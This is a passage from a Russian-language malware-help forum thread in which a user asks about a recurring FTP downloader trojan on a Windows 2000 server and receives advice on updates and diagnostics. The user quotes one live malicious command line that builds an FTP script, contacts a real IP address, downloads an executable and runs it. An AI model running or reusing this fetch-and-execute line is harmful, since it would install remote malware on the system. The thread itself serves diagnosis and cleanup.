Как отключить восстановление системы на Windows 2000 Server SP4
В примечаниях указано только для Me/Xp а у меня на сервере такой закладки нету в свойствах "Мой компьютер"
Как отключить восстановление системы на Windows 2000 Server SP4
В примечаниях указано только для Me/Xp а у меня на сервере такой закладки нету в свойствах "Мой компьютер"
Последний раз редактировалось dmi69; 19.10.2006 в 10:19.
Никак, потому что его там просто нет.Сообщение от dmi69
Утилитами проверять(собирать логи) без отключения. У меня AVP 6.0 находит Trojan-Downloader.BAT.Ftp.ab в папке систем 32 появляется соответственно файл "i" а внем скачка через Ftp на самом сервере стоит Drweb базы свежие но он ничего не находит , CureIT! тоже не находит,
Вот файлы
Попробуйте выгрузить на время - D:\cache_util\FTPMailer\FTPMailer\FTPMailer.exe, пропадёт или нет ?
Собственно "троян" представляет из себя -
http://www.viruslist.com/ru/viruses/...?virusid=76295
Больше всего на очередной FP KAV похоже.
Обновления безопасности для Windows все установлены?
ftpmailer выгружал но вирус появляется хаотично то 1 в день то 3 раза в день - отслуживаю по появлению файла "i"Сообщение от RiC
так же с помощью AVZ вижу следующий процесс
-------------
cmd /k echo open 212.57.180.140 23379 > i&echo user 1 1 >> i &echo get eraseme_04752.exe >> i &echo quit >> i &ftp -n -s:i &eraseme_04752.exe//
-------------
не понятно с ним вообще
Рекомендовались разные в форумахСообщение от AndreyKa
KB835732
KB920670
KB920683
KB921883
KB922616
установил все
У кого нибудь еще есть реальные советы по противодействию трояна?
Ставить надо все.Сообщение от dmi69
http://windowsupdate.microsoft.com/
Уважаемый(ая) dmi69, наши специалисты оказали Вам всю возможную помощь по вашему обращению.
В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:
Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:
Надеемся больше никогда не увидеть ваш компьютер зараженным!
Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.